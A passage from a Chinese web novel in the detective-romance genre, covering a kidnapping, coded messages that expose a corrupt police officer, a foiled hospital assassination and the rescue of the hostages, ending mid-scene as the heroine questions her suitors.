陈定言是在昏迷前最后清醒的片刻里发送这条消息的。 她和裴宿献沿着水渠检修道往山下逃跑。 不幸的是,绑匪追上来了。 这次前来的绑匪中有真正的绑架案主犯,他们手里有枪,轻松抓住了逃跑的两人。 绑匪先给裴宿献注射了麻/醉/剂。 陈定言意识到:对方在某个重要节点前还不能杀她和裴宿献。 在放倒陈定言之前,绑匪逼问她:“你给你朋友发了什么消息?你老实说。” 陈定言装傻:“什么消息?” “你第一次给你朋友发了一条什么猫什么抽屉的,第二次给你朋友发了公园长椅。到底是什么意思?!” 陈定言没想到绑匪会那么在意这两条消息。 看来这些人应该挺担心南岛那件事被泄密的,他们大概认为她将南岛的事放在暗号中发送给了梁天时。 她狡辩道:“都是我的实时位置而已,最下面的抽屉是地下车库,公园长椅两个字是我逃跑的路线。” “除了这个没了?” 她觉得可以抓住他 们这个弱点再拱火一下套出点线索:“大哥,真没什么的,再说要真有什么,您们都没看出来,我朋友也不一定破解得出来。” 她越是如此,越是让绑匪觉得那两句话里还隐藏着深层含义。 枪口堵上她的太阳穴:“你不知道你朋友什么人?你会发暗号给一个蠢货?” 绑匪居然知道梁天时是什么人。 这就有点古怪了。 陈定言觉得事情有点不太对头。 更不对劲的是,如果绑匪已经知道梁天时是谁,为什么不干脆直接赶去灭口梁天时? 显然,绑匪在说话的时候,透露出他们的两个固有认知:1.“梁天时能破解暗号”,2.“梁天时还没破解出南岛的暗号” 凭这些绑匪的智商,能得出这些结论,只可能出了一个问题:有内鬼泄密。 她顺势问:“那我该怎么弥补呢大哥?我是不是还得发一句‘前面搞错了’才能打消我朋友的胡思乱想啊?” 绑匪听她的话,彼此商量了一番觉得可行。 为了防止她再往短信里加乱七八糟的谜语添加剂,绑匪特地亲自上阵,修改了她的话术的同时额外增加了一句:【刚才弄错了,马上回来。】 这样,当梁天时收到消息的时候,就会以为她已经成功从逃跑路线逃离绑匪,并且获得了路人的帮助,而且发现前面的推理都是错的。 …… 梁天时收到消息,莫名觉得这句话很怪。 如果陈定言已经获得了路人的帮助,为什么不直接报警?为什么不直接打电话? 说明这条消息是从绑匪手机发出的。 前面那条消息从绑匪手机发出情有可原,因为是在逃跑之前抢了手机,但当陈定言和裴宿献往山下逃跑时再遇到绑匪,多半是被绑匪抓走了。 说明这条消息所传达的“安全”并不是真的。 绑匪伪装成人质虚假报平安也能理解,但是非要加上一句“刚才弄错了”就有些欲盖弥彰的意味。前面发的那两条消息都是透露实时地点,为什么非要说弄错了?难道绑匪想误导警方的搜索方向吗?不,逃跑路线是不可能弄错的。 ——唯一的可能是,绑匪以为“公园长椅下的两个字”泄露了其他的秘密,所以故意发消息推翻前面的推论。 梁天时想到了最关键的一点:既然如此,绑匪怎么会认为用这种发短信的方法就可以打消他的疑虑?万一他已经推理出“秘密”了呢? 这样的话,大概率就是陈定言忽悠绑匪发过来的消息。 为什么她要这么做? 如果把思路推回去,绑匪知道他还没推理出“秘密”,认为用这种方法就可以打消他的疑虑,那么是不是可以说明,内部可能有泄密者? 这样一想,陈定言大费周章地忽悠绑匪发这条消息的原因,就是为了提醒他这件事。 而陈定言和裴宿献之所以会在逃跑途中被绑匪再次抓住,估计也是因为那个“内鬼”的存在。 【注意内鬼。】 这才是她煽动绑匪发送这条消息背后隐藏着的真正暗号。 …… 梁天时深知现在她陷入了危险。 既然有秘密,那么绑匪的真正目的是灭口。随着时间的拖延,会演变成致命威胁。 内部泄密者到底会是谁? 怀警官?宗警官?还是调查队里的其他警察? 他无法相信任何警察,唯一的办法是尽快找出泄密者。 梁天时打电话到事务所。 “我需要了解裴宿献,他是这个案子的关键。”他问电话那头的裴勉知。 裴勉知在电话里简单地说了一些关于他对裴宿献的了解。 挂掉电话后,梁天时一直在思考这些琐碎的细节里他可能遗漏掉的线索。 南岛……死里逃生…… 南岛会和绑匪想要隐藏的秘密有关吗? 既然如此,距离南岛事件已经过去了好几个月,为什么绑匪直到现在才过来绑架灭口裴宿献? …… 正在思索间,屋子的门锁发出了声音。 梁天时站起身。 屋外有人打开门,走进他的单人公寓内,走进后立刻反手关上了门,门发出了闷重的声音。 那人没有脱鞋,径直走过玄关和鞋柜,往里面走。 鞋子在木地板上摩擦出令人心惊的声音。 “你看到我并没有很惊讶,看来已经知道了?还是说还没猜到是我?”那人走到他面前,提起唇角。 和平时的形象有着很大的反差。 性格软和甚至偏向懦弱、善良体贴、对后辈和侦探都不错、经常会开玩笑的,和现在这张在灯光下看起来有些阴冷的笑脸形成了对比。 郝仁安郝警官。 尽管有心理准备,梁天时在见到他的时候还是心里一紧。 郝警官一只手抄在口袋里,另一只手握着枪,他随意地笑道:“要我告诉你为什么吗?” 首先,因为郝警官侦办过裴家的案子。 绑匪之所以没有及时灭口裴宿献,是因为在南岛事件中,绑匪并不知道裴宿献的身份,被他逃脱了。 而在几个月后,绑匪才记得过来绑架裴宿献,正是因为他的身份曝光了。 裴宿献身份曝光的契机,恰好和前不久裴家那个案子有关。 裴宿献作为被害者家属,也作为杀人未遂的嫌犯,无论如何需要去警察局笔录,在这个过程中,那名警察知道了他去过南岛的事实。 而负责侦办裴家案子的警察中有孟行霄和郝警官。 郝警官挑了挑眉:“哦对了,我刚才给孟行霄打电话的时候还对他说了具体是哪座山,否则他哪里能那么快就找到地址——但这个线索我没问我的同事,这可不是从我同事那里知道的线索。” “至于其他线索,我和我那几个笨蛋同事多说几句话,他们就自然地会把事情一股脑地泄露出来。” 梁天时看着郝警官:“你现在过来,是为了杀我?” 郝警官举起枪,那并不是他的警用手/枪。 他用枪指着梁天时,一步步缓缓走近,开着不合时宜的玩笑: “除了那两个人质以外,现在只有你知道秘密了。看在你头脑的份上你其实是可以不用死的。还是说,你觉得应该代替她去死?” 梁天时却微笑了起来:“好,但你杀了我就够了。” 经历过一次死亡的人不会害怕死亡。 更何况如果是为了那个让他重生的人去死。 …… 山中。 面对孟行霄要求交换人质的要求,绑匪终于商量出了结果: “谁知道你们警察在打什么主意?人质我们不会换的。” 第85章 第85章僵局 绑匪商量得出了结果。 现在和他们对峙的是搜索小组,这个小组的警察并不多。他们要做的是在最好能在突击小组赶来之前和警方完成交易。 “我们也没打算一直扣着这俩,根本不想和你们在这死耗,就是活不下去了想要钱而已。这样,我们各退一步,我们放一个人,你们放我们一条活路。解除对这座山的封锁,让我们安全离开这里,总共四十分钟,之后你们要干什么要追查什么都行!” “还有,要是你们敢耍花样,就别怪我们。” 绑匪把昏迷的陈定言推出来:“我们会把这 个人放了,怎么样?答应这条件吗?” 这里是山脚,往上看是被夜色掩盖得漆黑一片的山林,沉沉地压下来。 空气里有一种十分压抑的安静。 搜索小组随身的扩音设备里外放出谈判小组谈判员的声音:“给你们二十分钟时间离开,可以吗?” 一个绑匪嚷道:“四十分钟,一分钟都不能少!” 另一个绑匪反而劝起同伙来:“算了算了,折个中,三十分钟算了。” 像小商贩一样讨价还价片刻后,双方最终确定三十分钟。 孟行霄突然开口,声音清晰冷静:“如果你们真要释放人质,我们需要先确认人质的生命安全。她现在正处于昏迷状态,如果她体内的药物剂量超过安全阈值,你们就是故意杀人。” “我们要求有一支医疗队接触她,确认她的生命安全后,再答应你们的条件。” 绑匪们互相看了一眼。 既然是灭口,那么这两个人质都是一定要杀的,现在他们敢把其中一个人质还回去,就是算定了人质还在昏迷中,无法把秘密告知警方。 把人质还回去后,人质还会“意外死亡”。 绑匪不耐烦地道:“还要等医疗队来?不行,我们等不及,你们现在就是在拖延时间!释放人质归释放人质,救活人质是你们的事。” “要是你们再喋喋不休,我们钱也不要了,命也不要了,就跟人质同归于尽!再给你们两分钟时间。” 这次的绑匪是硬茬子,竟然以同归于尽威胁警方。 孟行霄忽然意识到:或许绑匪的目的根本不在于钱,“人质的命”对绑匪来说更重要。 这些在他们面前露面的绑匪,只是棋子,他们也可以为了那个目的丢掉性命。 而且在两个人质中,显然裴宿献是他们的首要目标,无论如何也要杀了他,说不定陈定言就是附带的。 从这些可以推断出:如果顺着裴宿献那条线索来查的话,说不定能查出绑匪的真正目的。 思考及此,孟行霄心里有了底。 他象征性地反抗了一下:“我不能接受这个条件。” 果然,谈判小组驳回了他的反抗:“我们不能冒这么大的风险。” “接受对方条件,交接人质准备,开放封锁线准备,三十分钟内不准追击!” 于是,随着人质的交接,突击组撤走封锁线,空拍无人机撤出。 绑匪把一名人质扔下车后,关上后备箱,关上车门。 油门一轰,扬长而去,离开山脚后很快拐入小路中,消失在视野里。 三十分钟时间,足够他们找到一个安全的地点了。 这次警方能迅速锁定绑匪和人质所在地,包围绑匪,还得多亏了那两条传回来的暗号。 然而从现在开始,整个绑架事件又像是从头启动,警方需要重新开始调查。 陈定言作为被释放的一名人质被送了回来。 她仍在昏迷中。 孟行霄伸出手,把那些贴在她脸颊上的碎发捋开,又抚去她脸上沾染的泥土和脏污。 动作很快很轻,手指却在微微发颤。 医护人员上前来的时候,他退开一步,给医护人员让出路来,只有眼神还在牢牢盯着她。 他知道他无法陪在她身边。 他必须尽快查出真相。 …… 医护人员给陈定言做了最基础的检查确认她没有被注射其他毒素后,将她送往医院。 “二十四小时内接受了两次氯/胺/酮注射,根据基础代谢清除,估计要在4小时到6小时后才会出现第一波意识苏醒,但完全清醒要到6-12小时以后。” “在完全清醒后,依然有可能出现后遗症,包括头痛、肌肉无力等生理症状,以及记忆混乱、情绪不稳定等认知症状。” 裴勉知第一时间接到了通知,他马不停蹄地到了医院。 ICU病房外。 被告知了陈定言的情况后,裴勉知这才松了一口气。 他整个人像是被抽去力气,靠在走廊的墙壁上,眼前有些不真实的晕眩。 他沉沉地呼出一口气,仰起头看向走廊上的顶灯,视野被灼出一片明亮。 好一会儿,他才从虚脱中恢复过来。 陈定言,这种事你不能再做了。再做一次,死的就是我了。 …… “陈定言已经被放出来了,正送往医院,我说什么来着?现在就是一命抵一命的时候了。” 郝警官看了一眼手机邮箱里的消息,他唇边的冷笑扩大。 梁天时怔了一下,他缓缓垂下眼睫,嘴角扬起一丝弧度。 那就太好了。 她一切都平安,他就可以放开手脚去做。 “我可以为你们所用。”他坦然地看向郝警官。 郝警官显然是没想到他会那么快跳反,甚至郝警官开始怀疑梁天时是不是假装跳反、实则在下圈套。 郝警官脸上的表情阴晴不定,但他确实犹疑了。 他之所以花费那么多口舌,没有立刻杀死梁天时,正是因为组织对于梁天时的态度也是模糊的。 罕见的被埋没的高智商,在任何一个领域都能有所建树,如果把他挖过来的话…… 梁天时接下来的一句话让郝警官心里的迟疑打消了。 “你不用相信我,这不是你的责任。请你把我带回去,让你的BOSS做决策,到底是杀了我还是留下我。” 郝警官心道:这种事确实轮不到他来做决定,他杀了梁天时或者放了梁天时,都会成为他的责任,他付不起选择错误的代价。 郝警官把梁天时绑上,捂住眼睛和口鼻,扔进后备箱里。 郝警官正准备启动汽车的时候,电话来了。 是孟行霄。 郝警官警惕地看了一眼后视镜,确认周围没有异样,这才接起电话。 “小孟,噢我在家呢……你可不要胡来啊,嗯,嗯嗯,知道了,我明天去查一下,那个案子你就放心交给我好了……好,那你小心点,加油。” 挂掉电话后,郝警官又看了一眼后备箱的方向。 现在孟行霄也主动进了调查队,没有了搭档,他有充足的时间和机会单独行动。 把梁天时送过去以后,他要做的是安静地杀掉还在昏迷中的陈定言,将知道秘密的她灭口。 陈定言还有十二个小时才能完全清醒,杀掉她易如反掌。 汽车引擎启动。 第86章 第86章反转 凌晨一点左右,确认生命体征稳定后,医生决定将人质陈定言转出ICU,转入单间病房,一个值班警察在外面守着。 凌晨两点多,陈定言苏醒了一点。 她喉咙里干得像砂纸摩擦过一样,身体肌肉不怎么受控制,但脑子已经清醒了。 在病房里面守着的裴勉知和薛繁恩察觉到了她的苏醒。 陈定言才不管这两个在耳边嗡嗡说话的家伙,她现在急得要命。 关于内鬼的推理,她只将这件事通过双重暗号传达给了梁天时,如果梁天时平安地破解出来了还好,如果他反而被内鬼抓住了的话…… 但她怎么说不出话来,嘴唇微微动了一下,气流太弱,没有声音。 急死她了。 现在这种情况最难以忍受。 裴勉知去给她拿水,顺便按下床头呼叫铃。 薛繁恩觉得她的神色似乎很焦急:“她好像有很急的事要说。” 说着,他凑近她一点:“你说什么?” 梁天时! 她突然想起来薛繁恩不认识梁天时,跟他说了也是白搭。 陈定言只能绝望地等待裴勉知过来听一下。 “你是说梁天时吗?”薛繁恩问。 陈定言反而被薛繁恩吓了一跳,他怎么知道的? 她拼命点头。 对对对,快点去看看什么情况了。 “我知道了。”薛繁恩说。 刚从昏迷中醒过来的陈定言凌乱了:是她还没完全醒吗?为什么她觉得笨蛋美人薛繁恩怎么好像聪明了一点? 薛繁恩把手按在她的额头上示意她好好休息,朝她笑。 她不了解我的地方还有很多。我会让她慢慢了解我的。 凡恩:[但愿吧,呵。] 从得知陈定言失踪后,薛繁恩和凡恩两个人格一起恶补整件事的来龙去脉,把所有牵扯进去的人员的家庭背景基础信息都了解了个遍。 陈定言闭上眼睛安静下来。 她开始思考。 报案必然是梁天时报的。知道那两条暗号的 ,除了裴勉知薛繁恩等人外,只有警察。 调查队的警察会有哪些人?除了调查队之外的可疑人员有哪些? 陈定言得知:宗警官和怀警官和梁天时一起找过线索,尤其是那两句暗号的含义是两人第一时间听梁天时说的。 但她觉得内鬼不是宗警官和怀警官。 她思考了一会儿,便觉得有些累,意识昏昏沉沉的,重新陷入昏睡中。 …… 梁天时联系不上,当然也有可能是因为凌晨时分睡着了。 因为情况紧急,宗警官和怀警官知道这件事后,虽然时间是凌晨,但还是立刻赶过去梁天时家里看看家里有没有人。 宗警官和怀警官到了梁天时家里,在楼下看了一下窗户,那间公寓的窗帘拉着,不知道里面有没有人。 “现在凌晨三点呐,咱们这样上去吵人家会不会不太好?”怀警官有些犹豫。 宗警官嫌他太慢,自己先上楼去了:“怕什么,执行公务啊。” 门铃按了半天也没人来开。 两人互相看了一眼,觉得大事不太妙。 难道真的像陈定言所担心的那样,梁天时出事了吗? 从公寓管理员那里借来钥匙,宗警官和怀警官进入公寓内,发现里面果然一个人都没有。 更糟糕的是,从玄关到客厅的公寓地板上铺满了一层水,是有人故意倒上去的,为了遮掩脚印。 现代技术的发展让脚印痕迹的提取更为简单,就算是极其浅的鞋印压痕,被清洗过后仍留有压力痕,尤其在这种木地板上,地毯上更不用说,甚至地毯的纤维方向变化都能说明很多问题。 而犯人事先没有穿上脚套,径直走进屋子来,事后他发现木地板和地毯上的鞋印很难完全清除,便直接采用了水淹的方式。 “有人闯入了这里,带走了梁天时。” “陈定言是回来了,但梁天时消失了,等于对方手上又有两个人质了。还有,到底为什么带走梁天时?难道他知道了什么不可告人的秘密吗?” 这件事上报后,警局又分配了一点警力过来处理梁天时失踪案件,可谓是这头还没堵上那头又漏了。 宗、怀警官开始查公寓周围的监控时,发现周边的监控坏的坏,没的没了。 “也难怪,这里是老小区,这个公寓又是改造过的,监控没弄好就这么糊弄过去了。” 监控的丢失给侦查带来了难度。 再加上案发时是凌晨或者半夜,根本没什么人目击到一丁点线索。 一无所获的怀警官手捏成拳头,砸在桌子上,懊恼地道:“早知道就让梁天时留在警局,观察后续的讯息了。” 事情既然都发生了也没办法,宗警官打电话问裴勉知,被告知“陈定言还有大概三个小时才会醒,现在又陷入了昏睡”。 一筹莫展。 …… 医院单间病房内,陈定言在昏睡着。 薛繁恩离开医院去做事了。 裴勉知有点累了,他在床边趴着休息了一会儿。 门口。 值班警察问:“你是……” 来人道:“来换班的。” 值班警察见到来换班的警察有点诧异,看了看时间:“来这么早?” 换班的警察道:“你大晚上的值班不容易,我看休息得差不多了也就赶过来了,我来吧。” 值班警察打了个哈欠:“就是,真不是人干的活,我回去眯一会,不知道明天这案子能不能结束。” 两个警察换了班,新来的那个警察坐在病房门口。 裴勉知睡得模模糊糊的,他总觉得放心不下,便张开眼睛让自己醒来了。 刚直起身,他就看到换班的警察在门外向他招了招手,示意他过去。 裴勉知揉了一下眼睛,起身走过去。 “刚才有个护士过来,好像要签一点东西,叫你去一下护士站。”换班警察道。 裴勉知显然还很困倦,他皱着眉头强撑精神:“好,我去一趟。” 裴勉知走开后,换班警察在门口盯着周围的动静。 片刻后,换班警察走进病房内。 他关上门,从衣服口袋内取出一支注射器。 单人病房内,因为被注射了过量氯/胺/酮而陷入长时间昏睡的被释放的人质意识不清地躺在病床上。 这个过来换班的警察的脸孔从未在警察局内出现过,更别提在这次的调查队中。 他是个假冒的,被雇佣来的杀手。 他伪装成过来换班的警察,就是为了执行收到的任务:人质再过几小时就会清醒过来,杀了她。 他拿出注射器,走近病人。 针头闪着寒光。 一声巨响在病房空间内蔓延开。 门一下子被踹开。 碰! 门外是两个警察,以及刚才“去了护士站签字”的裴勉知。 裴勉知的脸上全无困意。 而在两个警察内,其中一个正是刚才打着哈欠说“我回去眯一会”的值班警察。 “不许动!举起双手!” 两名警察举/枪/对准了那个假冒的“换班警察”。 这名杀手本就是被雇佣过来的,没什么一定要做的事,也没什么深仇大恨,他识相地举起双手。 “病人”陈定言从病床上慢慢支身坐起,她嘲笑道:“连这都会相信,看来这次任务真的很急。” 裴勉知的困倦是真的,值班警察打哈欠也是真的。 但他们都事先有了心理准备。 在这个过程中,只有陈定言的昏睡是假的。她的体质虽然脆皮了一点,但胜在脑子灵活,意识很清醒,因此硬生生地扛着,从第一波意识苏醒扛到了第二波完全苏醒。 内鬼的人选很好猜,从那些接触过裴宿献案子的人中,再结合梁天时的失踪时机,就可以发现很多相关警察在梁天时失踪的时候有不在场证明。 没有不在场证明的就只有孟行霄的搭档郝警官。 而本应该在家睡觉的郝警官,却在凌晨两点反应迅速地接了孟行霄的电话。 [小孟,噢我在家呢……你可不要胡来啊。] 凌晨两点,在家。 但电话里的郝警官完全不是被吵醒的样子,而是一直醒着的状态。 郝警官也没有失眠的毛病,听说平时都睡得挺早的,这就奇怪了。 有可能是因为刚刚做了什么亏心事,所以那时郝警官在接到孟行霄的电话时,做贼心虚了,想都没想就毫无防备地接起来为自己找理由。 这时,宗警官打电话过来告诉裴勉知:“已经查清楚了,郝仁安确实不在家。我们已经开始查他开车去了哪里,问问小陈她还有什么发现吗?” 陈定言拿过电话:“我已经让我朋友去抓郝仁安了,他开车应该没有我朋友快。” 就算在不超速的情况下,对方都应该比不过薛繁恩。 宗警官有点傻眼:“啊,那怎么知道郝仁安往哪里开了?” 陈定言安慰宗警官道:“梁天时带了定位器,他给了我授权。” 梁天时很会安装这种小把戏,上次他把钓鱼线缠绕在纽扣上就已经震惊她八百年了。 打开电脑时,软件上显示的那个定位点清晰地延展着路径。 第87章 第87章获救 车内的两名警员不敢让薛繁恩开快点。 因为已经够快了。 再快的话,他们的同事交通警察就要原地出警了。 被临时征用的车不享有特 种车辆的优先权利,既然他们在战略上选择了用便车追击以免刺激犯人,那么就得遵守便车带来的限制。 更何况现在的速度是真的很快了。 凌晨时分,街道上车辆行人几乎接近于零,偶尔有几辆车经过,路灯和街边的自动售货机冷清地亮着灯光。 这些灯光从车窗里快速往后划过,轮胎碾过地面时平滑而迅速。 不知道是不是因为路上没人的缘故,两名警员觉得他们的车速度特别快。 “我们真的没超速吗?”一名警员担心地张望了一下仪表盘。 指针稳稳地指向规定的数字。 这两名警员并不是从本部调查队派来的,而是不久之前跟着一起来医院的搜索队警员。这也是为什么在本部的宗警官和怀警官并不知道已经有同事参与了追击的原因。 他们距离定位器显示的实时定位正越来越近。 郝仁安开的不是自己的车,所以他也不怕之后被追问,胆大放心地走了高速。 目前来看,他的方向有可能是机场附近的一个小县城。 他们也上了高速。 二十分钟后,在机场附近下了高速,在小县城的主路上行驶了十多分钟。 可能是因为觉得至今还没有人注意到他,郝仁安的车开得并不算快,中途甚至开始打电话。 郝仁安一边看着后视镜,街道上没有车,他很放心地拿起备用手机拨通号码。 “过来接应我,对对……还能是谁?你自己查查不就知道是谁了?……跟你说不清楚。” 他还是挺相信梁天时的跳反的,毕竟他觉得梁天时之前就有反社会的倾向,说不定心里就藏着一点灰暗的想法。 给同伙打完电话,郝仁安又注意了一下那个没有备注的号码。 这是他雇佣去杀陈定言的杀手,按照时间来说应该快得手了,得手了就会给他打电话报备,然后他把尾款付清。 希望不要出岔子。 郝仁安收起手机,专心开车的同时,有点遗憾地想:本来也不想闹成这样的。 他贪污了一点小钱,被那个组织的人抓住了把柄,不得已开始为他们做事,做着做着就习惯了,人性的恶完全爆发出来,甚至开始得心应手。 他正想着,忽然从辅路里扑出一辆车来,车灯在昏暗的夜里刺眼地横穿过车窗。 “嘎吱”,他连忙踩下刹车。 “没长眼睛啊,辅路还开那么快!”他骂了一句。 那车却径直横向撞过来,车胎在地面上磨出痕迹。 刺耳的摩擦声尖锐地响起来。 紧接着,郝仁安的车整个震动,对面的那车撞上来,卡在了郝仁安的车侧前方,又往前顶了一下。 在瞬间之内,那车把他的车推过去,挤到了路边的水泥柱上。 碰。 郝仁安的车车身碰到水泥柱,立刻凹进去一块。 “会不会开车!” 郝仁安心里烦躁极了,在这个重要节点发生交通事故绝对是不幸中的不幸。 他正要打开车窗告诉那个大半夜在辅路上横冲直撞的家伙不用赔了,神色却变了。 从那辆车上下来两个人,天色比较黑他看不清他们的长相,但他很清楚地看到了他们手里的枪。 “双手举高下车!” 两名警员举着枪,从两边包抄了他。 郝仁安心里一突。 他不知道是哪个环节出了错。 不可能的吧。 现在是半夜,调查队的大部分有生力量应该都在追踪带走裴宿献的绑匪。 陈定言还在昏迷中,梁天时在发现他前就被他抓住了,而且他打包梁天时打包得很快,梁天时根本没机会做手脚的。 难道…… 难道是孟行霄的那个电话吗? 大半夜给他打电话,难道是为了测试他吗?孟行霄已经在怀疑他了吗? 他的心不断往下沉下去,恐惧和战栗让他起了一身的鸡皮疙瘩。 郝仁安举起双手作出投降姿势。 两名警员顺利地把他铐上,将梁天时从车后备箱里带出来。 警员看了一眼时间: “早上四点四十八分,完成抓捕。” 让薛繁恩开车过来真是找对人了,他的路线挑得很刁钻,车开得又稳又快,关键是撞车技术一流。 返程的路上,两名警员不停夸奖薛繁恩:“小薛专业对口。” “难怪嘛,我们去看赛车比赛不就是为了看撞车。” “你这样说不好的,专门去看撞车还是有点缺德了,又不是碰碰车。” …… 薛繁恩第一时间联系了陈定言。 接近早上五点钟,天色已经蒙蒙的有些颜色了,他直视着前面的路:“任务完成。” 凡恩:[怎么不说奖励?] 这种紧要关头索要奖励才是让人头疼吧。他反驳道。 …… 抓到了关键人物郝仁安,接下来的流程就显得简单了不少。 现在最重要的是避免人质裴宿献的死亡。 对方的最终目的就是杀死裴宿献,一旦那些绑匪离开警察的视野,接到组织上头的命令,就会对裴宿献动手。 虽然陈定言已经把“南岛”的线索告诉了警方,但南岛距离这里有六七个小时的车程,坐飞机都要三小时,再加上走流程的话,估计要花上很久才能查出个所以然来。 因此特殊情况下只能采取特殊的办法。 被抓住的郝仁安变成了头号诱饵。 郝仁安被要求打电话给同伙:“先别动人质,现在这边情况有点复杂。我也暂时不来了,梁天时我会处理好。” 同伙追问:“怎么个复杂法,你把话说清楚。” 被铐着的郝仁安在周围警员的使眼色下无奈地道:“不说了,挂了,他们好像在怀疑我了。” 那几名带走裴宿献的绑匪还在路上,他们下了高速,换了一辆车。 前面那辆车不能要了,因为已经被警察记下了车牌号。 听到郝仁安打来的电话,绑匪颇为郁闷,互相之间开始讨论:“现在人质是杀还是不杀?” “先别动吧,都这么说了肯定有事了,到时候出了事要我们担责的。” 这件事微妙就微妙在,由于是为组织做事,实际上没有人作案是真正牵涉到自己的仇恨的,在“承担责任”的压力下,这些小喽啰还是选择听命行事。 于是绑匪暂时放着裴宿献不管,继续往原定的地址开去。 快到早上的时候,绑匪的车在加油站停下来。 “饿死了,我去买个泡面。”一名绑匪下车。 片刻后,另一个绑匪开始着急:“泡面怎么还没买好?我去看看。” 车里的绑匪道:“你们一个一个都出去了,要是出什么事怎么办?” 那个绑匪已经拉开了车门:“你们不是还有两个人吗?两个人,还有枪,够了的。” 再片刻后,车里的两个绑匪见他们的同伙买泡面还没有回来,纷纷起了疑心。 这不是葫芦娃救爷爷吗?去一个栽一个。 两个绑匪商量道: “恐怕这回不太妙了,要不要打电话问问他们?” “事情要真到那个地步了,还管他们干什么?我们自己小命都不保了。打电话只会让我们自己陷入险境,说不定警察就在等着我们打电话呢。” “那你的意思是……?”绑匪之一疑惑地看向车门。 “别管他们了,先跑再说。” 另外一名绑匪已经自觉坐到驾驶位,准备开车逃跑离开加油站。 车引擎发动后,他转动方向盘,却发现方向盘变重了一些,甚至不自觉地打偏。 “坏了,轮胎好像不太对。” “那我下去看看。” “别下去啊你个蠢货,肯定是被人动手脚了才会轮胎被放气的啊!” “那……” “警察既然还没有正面过来要我们下车,那最好的办法就是抓住人质,现在人质就是我们的救命稻草。” “嗯……我们的车窗是防弹玻璃吗?”另一个绑匪欲言又止,指了指车窗外。 顺着同伙手指的方向看去,绑匪心死了:“不是。” 车窗外,礼貌友好的警察面带微笑地拿着枪指着两位。 郝仁安被抓后,这四名绑匪的身份也都被问了出来,身份一确定,找到他们的行踪就简单了。 只不过之前担心这四名绑匪 七手八脚地分工合作,拿人质做要挟,所以警方等了一下,等待其中两名绑匪被泡面抓住后,警方这才放心地逐个击破。 四名绑匪依次落网,人质裴宿献获救。 第88章 正文完结 第88章 第88章正文完结 裴宿献醒来后,第一眼看到的是陈定言。 “你终于醒啦。”她开玩笑地说着穿越第一视角的名言,然后她曲起手指,毫不留情地在他脑门上敲了一下,咬牙切齿地道:“要不是运气好,我可是差点就没命了。” 裴宿献无奈地微笑了一下,他张了张唇,但喉咙里干渴得什么声音都发不出来。 趁着他一句话都反驳不了,陈定言叭叭叭一顿输出:“不用辩解,现在你欠我很多了。” 对不起。 他眼中带着歉意的柔和,看着她,用口型说道。 她“嘁”地冷笑道:“你最好是真的能补偿我什么。” 陈定言知道,这件事还没完:裴宿献的南岛遭遇还有隐情。 因为一个正常人在发现这种情况时做的第一件事是报警,而不是像裴宿献这样一声不吭好几个月。 裴宿献的声音终于恢复了,他把事情的全部真相都说了出来。 他没有报警,是因为他自己在查这个案子。 第一,他发现警察中可能有那个犯罪组织的内鬼,他这才有了隐瞒下来、自己查案的想法。 第二,他辞去医生一职,并不全是父亲的原因,而是因为他发现他所在的那个医院很有可能和犯罪组织有秘密交易。 第三,冒名顶替姑姑的那个凶手戴美希在整容过程中,应该也或多或少接触到了组织的违禁药物资源。 这些因素凑在一起,造成了现在这个局面。 ——这也是为什么裴宿献在辞职后一直都没有开始新的工作,而是每天“游手好闲”的。 这样一来,南岛和违禁药物组织的案件正式开始调查。 同时,孟行霄一直在暗中寻找真相的他外婆捡到透明自封袋案子也有了着落,那个自封袋正是这个违禁药物组织在交易时不小心落下的袋子,而交易地点是老街附近。 这一案后,陈定言放松得不得了。 因为对她来说,世界意志所主导的剧情“主线”结束了。 她不再是哪个龙傲天小说剧情里的降智傲慢女配,不需要每天提心吊胆自己会因为“降智buff”和“激怒buff”以及“性冷淡buff”而崩坏人生轨迹。 从医院回来后,陈定言不思进取地在家睡了一天懒觉,美其名曰:“我是伤员来着,我最大。” 当然这次也没人阻止她睡懒觉。 陈定言从漫长的午觉中醒过来。 这几天被绑架追击犯人的情形像放电影一样从她脑海中闪过。 她打开手机,看了一圈没有消息,有点失望:“我说罢工,还真没人来找我啊?” 算了,再睡一会。 她闭上眼睛。 意识刚刚有些模糊起来,陈定言突然记起来她还有一个悬案要解决,腾的一下从床上坐起身来。 是的,她还有一个悬案:测试她的那些暧昧对象的动机。 她穿好衣服,决定速通一遍关卡,把案情总结报告写了。 首先是裴勉知。 他正在厨房做蛋糕。 看到她蹭的出现在厨房门口,裴勉知回头看了她一眼:“还没好,你先去睡觉。” “不是,”她眼神探究地看着他,“我想知道你的动机是什么,为什么愿意为我付出那么多?” 又来了。 裴勉知按捺下想要过去拍一下她脑壳的冲动,让她不要整天想这些“真相”,看在她是伤员的份儿上忍下来。 “没有动机。”他说。 “你骗人,我早就看穿你了。” 【互相陪伴互相信任已经成为了裴勉知的一部分。他是她的后盾,她也是他的后盾。】 裴勉知背对着她:“你愿意怎么想就怎么想吧,一天天脑子停不下来。” 她:“对了,我现在要去找孟行霄了。” 裴勉知转过身。 他那双眼睛毫无波澜地盯着她:“你以为我会吃醋吗?” 陈定言纳闷:“我没说你会吃醋,我只是向你报告我的行程。” 不打自招了属于是。 裴勉知有些尴尬。 【我一直都在这里,反正你总要回来。】 陈定言去找了孟行霄。 孟行霄刚好要下班,他已经加很长时间的班了。 他看到她,眉毛微微皱起来,露出担忧之色:“你身体好了吗?就出来乱跑。” 陈定言怀疑激怒buff还没完全消失,因为孟行霄一开口她就想生气。 “士别三日当刮目相看,我不可能永远是脆皮的,警察先生。” 孟行霄低下眉眼,微微笑着道:“你很少像这样主动来找我。” 她开门见山地道:“我来审问你的动机。” 孟行霄诧异了一瞬,和她对视片刻。 虽然她说得没头没脑的,但他还是大概猜出了她的意图。 “命运。”他说。 陈定言一愣。 她没和孟行霄说过“剧情”“世界意志”之类的事。 孟行霄走到她面前:“你得到想要的答案了吗?” 【她是他人生中的大奖,剧情被改变的瞬间,他缠身的霉运也终会消失。】 她看着他,几秒后吐槽道:“……你真玄乎,果然还是得远离你。” 第三个暧昧对象是薛繁恩。 薛繁恩抬起手摸着后脖颈,别过脸,有些不好意思:“能要奖励吗?……我想,拥抱。” 陈定言承认她小时候大概是对他见色起意,没想到长大后会被死死缠住,还是被两个人格。 难怪Venn是“沼泽地”的意思了,这个名字一点都没取错。 她懒得动:“你自己来。” 薛繁恩从身后抱住了她,右臂圈着她的脖子,左臂搂着她的腰,把头枕在她的肩膀上,深深地呼吸了几口。 “你的动机。” “……动机?” “是的,你自己想,我不提示你。” 好久,薛繁恩歪过头,脸颊挨着她的脸颊,他轻声说: 